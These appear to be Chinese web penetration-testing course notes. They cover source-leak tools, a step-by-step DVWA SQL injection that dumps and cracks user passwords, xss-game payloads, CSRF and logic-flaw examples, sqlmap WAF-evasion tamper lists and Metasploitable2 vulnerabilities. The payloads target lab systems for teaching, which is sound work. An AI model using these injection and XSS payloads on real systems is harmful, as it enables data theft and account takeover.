It rebuild source code from .git folder while keep directory structure unchanged.

GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。

渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞。

工作原理

解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 )

去.git/objects/ 文件夹下下载对应的文件

zlib解压文件,按原始的目录结构写入源代码

https://blog.csdn.net/u012486730/article/details/82019513

svn/Subversion

svn, 即Subversion, 在github之前曾经也是炙手可热的版本管理工具, 虽然已经日渐式微, 但在很多国企,研究院等地方依然是作为版本管理的主要工具. 对于一些历史悠久的项目, 比如LLVM, 出于历史原因,也是主要使用svn管理源代码.

关键文件

svn同样在项目根目录下会创建一个名为.svn的隐藏文件夹, 包含了所有分支commit信息和代码记录.

泄露内容

所有该项目的源代码

svn仓库的地址

svn仓库所属用户的用户名

.DS_Store文件泄露

.DS_Store(Desktop Services Store)是macOS目录下的隐藏文件, 包含了当前目录结构和一些的自定义信息,如背景和图标位置等, 在windows下类似的文件为desktop.ini. 暴露了.DS_Store文件也就相当于暴露了该目录下的所有内容.可以说是比较严重的泄露.

https://github.com/lijiejie/ds_store_exp

备份文件扫描

5.2 SQL注入(此部分为陈殷大佬的讲义)

目录

  • 测试需求分析
  • 判断是否存在注入点,以及注入的类型
  • 获取数据库信息
    • 猜解所查询的字段数目
    • 获取字段显示位
    • 通过显示位获取数据库信息
    • 获取数据库中的表名
    • 获取表中的列名(字段)
    • 导出数据库中的数据
    • 验证导出数据的有效性

一、测试需求分析

测试对象:DVWA漏洞系统–SQL Injection模块–User ID提交功能
防御等级:Low
测试目标:判断被测模块是否存在SQL注入漏洞,漏洞是否可利用,若可以则检测出对应的数据库数据
测试方式:手工方式

被测模块

防御等级为Low的后端控制代码:
low.php

<?phpif( isset( $_REQUEST[ 'Submit' ] ) ) {// Get input$id = $_REQUEST[ 'id' ];// Check database$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last  = $row["last_name"];// Feedback for end user$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}mysqli_close($GLOBALS["___mysqli_ston"]);
}?>

以上代码所构造sql查询语句中的参数id,是从前端所提交到后端,代码中并没有对来自客户端提交的参数id进行合法性检查和过滤敏感字符等操作,很容易就能探测出SQL注入漏洞,然后进一步利用来获取数据库信息or其他操作权限。

当实际进行检测时,一开始并不知道后端的代码,需要进行类似于黑盒测试,构造一些特定的输入字符向服务端提交,根据响应返回的信息进行判断是否存在SQL注入漏洞。

二、判断是否存在注入点,以及注入的类型

输入:单引号 ' 反斜杠\

query:(一开始并不知晓代码中设置的查询语句,可由后面步骤来推测)
SELECT first_name, last_name FROM users WHERE user_id = ''';
SELECT first_name, last_name FROM users WHERE user_id = '\';
输出:语法错误,抛出异常信息,暴露了数据库服务器的类型为Mysql

  • 对于Mysql,构造SQL注入攻击查询语句时常会用到的注释符有#--(双横杠后面加空格联用)。
  • Mysql安装后默认会创建三个数据库:information_schema、mysql和test。其中名为“mysql”的数据库很重要,它里面保存有MYSQL的系统信息、用户修改密码和新增用户,实际上就是针对该数据库中的有关数据表进行操作。

单引号提交

反斜杠提交

输入:双引号 "

querySELECT first_name, last_name FROM users WHERE user_id = '"';
输出:语法无异常,但是无此id的数据可查询出来

输入1

querySELECT first_name, last_name FROM users WHERE user_id = '1';
输出:查询出对应的ID、First name、Surname 字段名及其值

输入
1' or 1=1 #
1' or 1=1 -- (末尾为空格)
1' or 'abc'='abc

query
SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 #';
SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 -- ';
SELECT first_name, last_name FROM users WHERE user_id = '1' or 'abc'='abc';
输出:构造的永真条件进行查询,列出了表中的所有的ID、First_name、Surname

通过提交数字1,2,3,4,5,6…来判断用户表中的行数(rows)为5行

从以上可判断出url(http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#)中的参数id存在注入点,存在字符型的SQL注入漏洞

三、获取数据库信息

1.猜解所查询的字段数目

方式1:order by num
若num数值超过了字段数,则查询会报错,从而判断出select语句所查询字段的数目

输入
1' order by 2 #
1' order by 3 #

输出

以上,用1' order by 2 #进行提交,可正常查询出ID=1的2个字段值;用1' order by 3 #进行提交,则会出现异常提示。说明此处的select查询语句中查询的字段有2个

方式2:union select 1,2,3…
若union select后的数字位(不一定是1/2/3,只要有数字占位即可)与实际查询的字段位不完全对应时,查询就会报错,直至调整到不报错时的占位个数,从而判断实际查询的字段数

输入
1' union select 1 #
1' union select 1,2 #
1' union select 1,2,3 #

输出

以上,只有1' union select 1,2 #构造的语句才能正常匹配出字段值,相应的查询字段数=2

2.获取字段显示位

在页面上会显示从select语句中选取的字段,通过以上方式2中的 union select 1,2,3… 可判断出具体显示字段的显示位
显示位的作用:在知道显示位之后,就可以通过显示位来显示我们想知道的数据库信息,如数据库的版本,用户信息等…

输入1' union select 1,2 #

输出

显示位

3.通过显示位获取数据库信息

此处会用到Mysql注入常用的一些函数,可参看此文==>SQL注入常用的内置函数整理(以MySql为例)

  • 获取当前连接的数据库名称、DBMS的版本(Mysql的版本)
    1' union select database(),version() #

当前连接的数据库=dvwa;Mysql版本=5.5.53

  • 获取当前连接数据库的用户
    1' union select user(),2 #

当前连接数据库的用户为root,即超管权限用户

  • 获取服务器的操作系统、数据库的存储目录
    1' union select @@version_compile_os,@@datadir #

服务器的操作系统=Win32;数据库的存储目录为…\MySQL\data\

4.获取数据库中的表名

  • 获取DBMS中所有数据库的名称
    1' union select 1,schema_name from information_schema.schemata #

Mysql安装后默认会创建三个数据库:information_schema、mysql和test;information_schema库下的schemata表中保存着DBMS中的所有数据库名称信息

  • 获取当前连接数据库(dvwa)中的所有表
    1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

dvwa库中的所有表为:guestbook、users

5.获取表中的列名(字段)

方式1:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

表字段:user_id,first_name,last_name,user,password,avatar,last_login,failed_login

6.导出数据库中的数据

获取users表中所有user和password数据,用符合’–'连接每一组中user和password,每一组"user–password"又分别用逗号隔开,集中在一起输出结果
1' union select 1,group_concat(concat_ws('--',user,password)) from users #

or 每一组"user–password"数据信息换行输出
1' union select 1,concat_ws('--',user,password) from users #

7.验证导出数据的有效性

1)解密
从以上第6步中获取的用户信息中,任意取一组"user–password"对应值"gordonb–e99a18c428cb38d5f260853678922e03",密码是加密过的,当不知道具体加密方法的时候,可能需要尝试多种解密的方式去破解。
比如可以先用常规的MD5解密检测一下是否能破解,解密传送门:http://www.cmd5.com/

解密后:gordonb–abc123

2)验证数据有效性
回到前端登录界面:http://localhost:8001/dvwa/login.php
将以上解密出的用户信息填写到登录输入框中,提交校验

登录成功

5.3 XSS从入门到进阶(还是大佬的讲义)

这部分我是直接搬的原文,原网址:https://cloud.tencent.com/developer/article/1595074

本文分享自微信公众号 - 山丘安全攻防实验室(hillsec),作者:陈殷
原始发表时间:2020-02-26

一篇文章带你从XSS入门到进阶(附Fuzzing+BypassWAF+Payloads)

大家好,我是山丘安全攻防实验室作家陈殷,今天将带大家深入浅出理解XSS攻击。

  1. XSS简介
  2. XSS分类
  3. XSS实战
  4. XSS Fuzzing
  5. XSS WAF Bypass思路
  6. XSS工具
  7. XSS修复

xss简介

OWASP TOP 10

OWASP(开放式Web应用程序安全项目)的工具、文档、论坛和全球各地分会都是开放的,对所有致力于改进应用程序安全的人士开放,其最具权威的就是“10项最严重的Web 应用程序安全风险列表” ,总结了Web应用程序最可能、最常见、最危险的十大漏洞,是开发、测试、服务、咨询人员应知应会的知识。

Cross Site Scripting

跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以在代码审计中xss漏洞关键就是寻找参数未过滤的输出函数。

XSS分类

反射型XSS:<非持久化>

攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。DOM型XSS由于危害较小,我们将其归为反射型XSS。

存储型XSS:<持久化>

代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。

XSS实战

我犯个懒,请看原文,原网址:https://cloud.tencent.com/developer/article/1595074

存储型XSS的攻击流程:
打开web---->输入一个恶意代码---->恶意代码存放到数据库---->读取页面---->读取数据库---->返回web---->执行恶意代码

XSS小游戏过关笔记:

下载地址请关注“山丘安全攻防实验室”回复:xssgame 或自行百度下载

篇幅限制,我们挑前五关来测试,后续通关指南可关注公众号推文

首页点击进入

第一关

猜测name参数可控,进行paylaod执行:

123<script>alert('123')</script>;

成功通关

第二关

这里我们执行上关的payload试试,但是并未成功执行

查看源代码,XSS语句被赋值给value并且在input标签里,所以我们需要闭合value和input标签就可以正常弹窗了

exp:

 1"><script>alert('1');</script>

成功执行

第三关

htmlspecialchars()函数是使用来把一些预定义的字符转换为HTML实体,返回转换后的新字符串,原字符串不变。如果 string 包含无效的编码,则返回一个空的字符串,除非设置了 ENT_IGNORE 或者 ENT_SUBSTITUTE 标志

被转换的预定义的字符有:

使用语法:

$str = htmlspecialchars(string,flags,character-set,double_encode);

string:规定要转换的字符串;

flags :可选参数,规定如何处理引号、无效的编码以及使用哪种文档类型;

确实转义了尖括号,这里可以用单引号闭合value但是没办法闭合input标签,我们添加一个改变事件即可

' onchange=alert`1` //

添加一个改变事件

第四关

第四关的代码和第三关的代码大同小异,把源码里面单引号变成了双引号,同样事件弹窗即可

把payload改一下就oki

第五关

第五关难度提升,过滤了script和onclick标签,但是没过滤a标签

paylaod:

 "><a href=" javascript:alert(1)"

成功执行

XSS Fuzzing

工具:

BurpSuite+XSS Payloads+PayloadFix(工具在文末)

运行环境:python3

工具说明:

该工具可以将每行payload进行处理,以此再进行批量fuzz更好的定位有效攻击代码。

使用方法:

请准备原版XssPayload.txt,每行一个payload,运行PayloadFix.py即可进行payloads处理

Fuzzing思路:

找到一个输入点,生成Payloads,进行paylaods测试

测试实例:

国内某家大厂Mail Fuzzing XSS 测试

我犯个懒,请看原文,原网址:https://cloud.tencent.com/developer/article/1595074

XSS WAF Bypass

WAF产品:360主机卫士

环境:PHPStudy 2018 — Apache+PHP

说明:360主机卫士目前已停止维护

测试步骤:

我犯个懒,请看原文,原网址:https://cloud.tencent.com/developer/article/1595074

同样还有很多绕过方法,网上给出了很多文章,这里不在一一举例,只做一个思路进行分析。

至于其他特殊字符是否也有绕过,欢迎各位师傅到交流群或和我讨论。

XSS工具

由于篇幅限制,这里只进行工具推荐,具体操作需要大家手动操作

XSStrike

XSStrike is a Cross Site Scripting detection suite equipped with four hand written parsers, an intelligent payload generator, a powerful fuzzing engine and an incredibly fast crawler.

https://github.com/s0md3v/XSStrike

xsscrapy

Fast, thorough, XSS/SQLi spider. Give it a URL and it’ll test every link it finds for cross-site scripting and some SQL injection vulnerabilities. See FAQ for more details about SQLi detection.

https://github.com/DanMcInerney/xsscrapy

XSSSNIPER

xsssniper is an handy xss discovery tool with mass scanning functionalities.

https://github.com/gbrindisi/xsssniper

BeEF

BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser.

https://github.com/beefproject/beef

XSS platform

XSS Platform 是一个非常经典的XSS渗透测试管理系统

https://github.com/78778443/xssplatform

XSS修复

XSS跨站漏洞最终形成的原因是对输入与输出没有严格过滤。

结语

要想学好XSS,终究还是考察大家对JavaScript和PHP的掌握程度,所以请在学习安全测试之前熟练掌握一门以上的开发语言。

文章为基础文章,若文章有错误请各位大佬指出,更多思路欢迎加山丘安全攻防实验室群或者私聊进行讨论。

文中的工具:

XSS-Games:关注“山丘安全攻防实验室”回复xssgame

PayloadFix:关注“山丘安全攻防实验室”回复payloadfix

PayloadFix 下载链接:https://github.com/evai1/PayloadFix(内附5000+ XSS Payloads)

上期MSF下载链接:https://github.com/evai1/MetaSploit

(说明:转载请联系山丘安全攻防实验室公众号运营开白,或在开头注明来源和作者)
本文分享自微信公众号 - 山丘安全攻防实验室(hillsec),作者:陈殷
原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。
原始发表时间:2020-02-26

5.4 CSRF

CSRF概念

CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:

攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。

李华在第三方机构有一笔存款,通过对银行的网站发送请求 http://bank.com/tran?user=lihua&count=100&aim=daming可以给他的朋友转账100元。

通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,并且该 session 的用户 李华已经成功登陆。

黑客 Xuanhun自己在该银行也有账户,他知道上文中的 URL 可以把钱进行转帐操作。Xuanhun可以自己发送一个请求给银行:http://bank.com/tran?user=lihua&count=100&aim=xuanhun。但是这个请求来自 xuanhun而非 lihua,他不能通过安全认证,因此该请求不会起作用。

这时,xuanhun想到使用 CSRF 的攻击方式,他先自己做一个网站,在网站中放入如下代码: src=”http://bank.com/tran?user=lihua&count=100&aim=xuanhun”,并且通过美女qq进行社工攻击,诱使李华首先去登陆账户,随后访问指定url。当李华访问该网站时,上述 url 就会从李华的浏览器发向银行,而这个请求会附带李华浏览器中的 cookie 一起发向银行服务器。

大多数情况下,该请求会失败,因为他要求李华的认证信息。但是,因为李华刚访问他的银行后不久,他的浏览器与银行网站之间的 session 尚未过期,浏览器的 cookie 之中含有李华的认证信息。

这时,悲剧发生了,这个 url 请求就会得到响应,钱将从李华 的账号转移到xuanhun的账号,而李华当时毫不知情。等以后 李华发现账户钱少了,即使他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而 xuanhun 则可以拿到钱后逍遥法外。

5.5暴力破解

暴力破解是指使用穷举法,举出所有的可能的结果,然后逐一验证是否正确。

5.6文件上传

文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,部分文件上传漏洞的利用技术门槛非常的低,对于攻击者来说很容易实施。

文件上传漏洞本身就是一个危害巨大的漏洞,WebShell更是将这种漏洞的利用无限扩大。大多数的上传漏洞被利用后攻击者都会留下WebShell以方便后续进入系统。攻击者在受影响系统放置或者插入WebShell后,可通过该WebShell更轻松,更隐蔽的在服务中为所欲为。

这里需要特别说明的是上传漏洞的利用经常会使用WebShell,而WebShell的植入远不止文件上传这一种方式。

7.7逻辑漏洞

逻辑漏洞是指由于程序逻辑输入管控不严,导致程序不能够正常处理或处理错误,一般出现在登录注册、密码找回、信息查看、交易支付金额等。

例:

逻辑漏洞 - 任意用户密码重置

https://cloud.tencent.com/developer/article/1607702

由于验证码在本地生产导致的任意用户注册

发送手机号验证码请求并拦截,发现在请求中已经生成了验证码,所以记下验证码后放包==》填写信息==》注册成功

无限制使用一元买价值899的vip会员

发起一个正常的购买请求,拦截请求数据包,修改参值,购买成功

注:coupon=优惠券,discount=折扣,product=这里可以看出来是一年的vip

对登录账号框进行FUZZ

无验证码==》尝试admin、admin==》提醒账号不存在==》使用用户名字典

对登录h密码框进行FUZZ

无验证码==》尝试admin、admin==》提醒密码错误==》使用密码字典

对未知URL参数进行FUZZ

访问url报错对url参数在burpsuite的intruder进行添加字典爆破发现有效参数有:”path=/etc/passwd”

6.漏洞扫描工具讲解

6.1 NMAP

见上文。

6.2 SQLMAP

sqlmap是一款基于python2的强大的支持多种数据库的跨平台SQL注入检测工具

中文 英文 缩写
数据库管理系统 database admin DBA
数据库 dabase DB
数据表 table T
字段 columns -C

SQLMAP tamper

使用SQLMap提供的tamper脚本,可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击。

部分防护系统的缩写:

WAF:Web应用程序防火墙,Web Application Firewall

IPS:入侵防御系统, Intrusion Prevention System

IDS:入侵检测系统,Intrusion Detection System

--tamper=TAMPER 利用给定的脚本进行篡改注入数据。

其用法可举例说明:

python sqlmap.py -u “http://…/?uname=admin&pwd=pass123” --level=5 --risk=3 -p “uname” --tamper=xxx.py

表示对指定的url地址,以所设置的level等级、risk等级,并采用选定的tamper篡改脚本对参数“uname”进行检测

SQLMap目录中的所有tamper

tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords

通用的测试tamper

tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

MSSQL(Microsoft SQL Servre)

tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

MySQL

tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

charunicodeencode.py

功能:对字符串进行Unicode格式转义编码

平台:Mssql 2000,2005、MySQL 5.1.56、PostgreSQL 9.0.3 ASP/ASP.NET

举例:SELECT FIELD FROM TABLE %u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045

charencode.py

功能:采用url格式编码1次

平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

举例:SELECT FIELD FROM%20TABLE %53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

6.3 AWVS

Acunetix Web Vulnerability Scanner(简称AWVS)是一款知名的网络漏洞扫描工具,它通过网络爬虫测试你的网站安全,检测流行安全漏洞

6.4 Xray

一款躺着收洞的神器

xray 是一款功能强大的安全评估工具,由多名经验丰富的一线安全从业者呕心打造而成,主要特性有:

检测速度快。发包速度快; 漏洞检测算法高效。

支持范围广。大至 OWASP Top 10 通用漏洞检测,小至各种 CMS 框架 POC,均可以支持。

代码质量高。编写代码的人员素质高, 通过 Code Review、单元测试、集成测试等多层验证来提高代码可靠性。

高级可定制。通过配置文件暴露了引擎的各种参数,通过修改配置文件可以极大的客制化功能。

安全无威胁。xray 定位为一款安全辅助评估工具,而不是攻击工具,内置的所有 payload 和 poc 均为无害化检查。

https://github.com/chaitin/xray/releases

6.5 BurpSuite

Burp Suite 是用于攻击web 应用程序的集成平台,包含了许多工具。Burp Suite为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报。

7.漏洞利用工具讲解

7.1MetaSploitable2搭建

https://blog.csdn.net/qq_42058062/article/details/81036741

7.2MetaSploit初识

https://www.freebuf.com/articles/system/34571.html

7.3 MetaSploit对MetaSploitable2的攻击

Metasploitable2是一个虚拟机文件,从网上下载解压之后就可以直接使用,不需要自己安装。

用户名是 :msfadmin密码是: msfadmin

Metasploitable2漏洞列表:

序号 漏洞
1、 弱口令漏洞(如vnc、mysql、PostgreSQL等)
2、 Samba MS-RPC Shell 命令注入漏洞
3、 Vsftpd源码包后门漏洞
4、 UnreallRCd后门漏洞
5、 Linux NFS共享目录配置漏洞
6、 Java RMI SERVER 命令执行漏洞
7、 Tomcat管理台默认口令漏洞
8、 root用户弱口令漏洞(SSH爆破)
9、 Distcc后门漏洞
10、 Samba sysmlink 默认配置目录遍历漏洞
11、 PHP CGI参数注入执行漏洞
12、 Druby远程代码执行漏洞
13、 Ingreslock 后门漏洞
14、 Rlogin 后门漏洞

Samba MS-RPC Shell 命令注入漏洞

漏洞产生原因:传递通过MS-RPC提供的未过滤的用户输入在调用定义的外部脚本时调用/bin/sh,在smb.conf中,导致允许远程命令执行。

使用search usermap来搜索攻击模块

> 复现:攻击机:kali linux IP:192.168.138.134

> 靶机:Metasploitable2 IP:192.168.138.140

exploit/multi/samba/usermap_script

Vsftpd源码包后门漏洞

漏洞产生原因:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“

《磐石计划:Web安全漏洞与渗透测试》笔记相关推荐

  1. 《信贷的逻辑与常识》笔记

    序 银行信贷风险管理的反思 现状与趋势 银行贷款的质量变化与经济周期.宏观调控政策等存在很高的相关性 现在银行不良贷款的增加主要是前几年经济快速增长时企业过度投资.银行过度放贷所带来的结果. 从历史情 ...

  2. AI公开课:19.02.27周逵(投资人)《AI时代的投资逻辑》课堂笔记以及个人感悟

    AI公开课:19.02.27周逵(投资人)<AI时代的投资逻辑>课堂笔记以及个人感悟 目录 课堂PPT图片 精彩语录 个人感悟 课堂PPT图片 精彩语录 更新中-- 文件图片已经丢失-- ...

  3. 人工智能入门算法逻辑回归学习笔记

    逻辑回归是一个非常经典的算法,其中也包含了非常多的细节,曾看到一句话:如果面试官问你熟悉哪个机器学习模型,可以说 SVM,但千万别说 LR,因为细节真的太多了. 秉持着精益求精的工匠精神不断对笔记进行 ...

  4. 【逻辑回归学习笔记】

    算法描述 1.逻辑回归要做的事就是寻找分界面实现二分类. 2.问题假设:对一堆三角形和正方形分类. 3.数据输入:已知正方形和三角形的坐标和标签. 4.算法过程: 知识储备 1.分类和回归 ①分类的目 ...

  5. 逻辑回归函数学习笔记

    继续逻辑回归学习,今日笔记记录. 1.逻辑回归和线性回归的关系:对逻辑回归的概率比取自然对数,则得到的是一个线性函数,推导过程如下. 首先,看逻辑回归的定义 其次,计算两个极端y/(1-y),其值为( ...

  6. 2.2 逻辑回归-机器学习笔记-斯坦福吴恩达教授

    逻辑回归 上一节我们知道,使用线性回归来处理 0/1 分类问题总是困难重重的,因此,人们定义了逻辑回归来完成 0/1 分类问题,逻辑一词也代表了是(1) 和 非(0). Sigmoid预测函数 在逻辑 ...

  7. LVM逻辑卷分区笔记

    磁盘的静态分区有其缺点:分区大小难评估,估计不准确,当分区空间不够用的时候,系统管理员可能需要先备份整个系统,清除磁盘空间,然后重新对磁盘进行分区,然后恢复磁盘数据到新分区,且需要停机一段时间进行恢复 ...

  8. 适合理工直男的钟平老师逻辑英语学习笔记

    一切的一切都只是套路!             --鲁迅 核心公式: En: (状语1) 主(定语1) 谓(状语2) (宾)(定语2) (状语1) Ch: (状语1) (定语1)主 (状语2)谓 (定 ...

  9. 【数字逻辑】学习笔记 第四章 Part2 常用组合逻辑电路与竞争、险象

    文章目录 一.常用组合逻辑电路 1. 译码器 (1) 二进制译码器 74LS138(3/8译码器) a. 一般符号和图形符号 b. 74LS138功能表 c. 两片 `74LS138` 构成 `4-1 ...

  10. 线性回归、逻辑回归学习笔记

    学习源代码 import numpy as np import matplotlib.pyplot as plt def true_fun(X): # 这是我们设定的真实函数,即ground trut ...

最新文章

  1. window 10系统更改默认下载的位置
  2. 用命令行工具创建 NuGet 程序包
  3. Java代码安装maven jar,maven添加第三方的jar包
  4. 着手一个手游项目的思考
  5. 【译】An Intro to TrueBit: A Scalable, Decentralized Computational Court.
  6. 保持学习,从这几个公众号开始!
  7. Python | Lambda和map()与示例
  8. mysql 指定路径_如何为单个MySQL数据库设置特定的目录位置?
  9. django 1.8 官方文档翻译: 3-2-1 内建的视图
  10. android 系统(99)---MTK 平台系统重启分类
  11. Qt——P28 Stacked Widget控件
  12. 自己java_一些自己用的java类
  13. git提交代码到github
  14. 熔断器 Hystrix 源码解析 —— 断路器 HystrixCircuitBreaker
  15. 数学基础(0)-- 高等数学、概率论与数理统计
  16. 基于node搭建前端服务器,nodejs做微信小程序后端
  17. 密歇根州立大学联合领英提出基于AutoML的Embedding框架AutoDim
  18. Windows实例通过IIS如何搭建多个FTP站点
  19. React之Protals详解
  20. VIP邮箱移动办公平台软件,疫情居家办公小助手

热门文章

  1. 【组合数学】递推方程 ( 有重根递推方程求解问题 | 问题提出 )
  2. JSP使用教程(第四版)学习笔记
  3. 掌握 Android开发的前后端应用
  4. bin文件用cad打开_DWG图纸文件用CAD怎么打开?CAD软件如何使用?
  5. Ubuntu下为Hadoop安装配置Hbase教程
  6. 《SQL必知必会阅读思维导图》PART1
  7. python机器学习之物体识别
  8. gjb150.16a-2009振动试验标准及介绍
  9. JAVA笔记自整理(Java)
  10. MFC程序中使用QT开发界面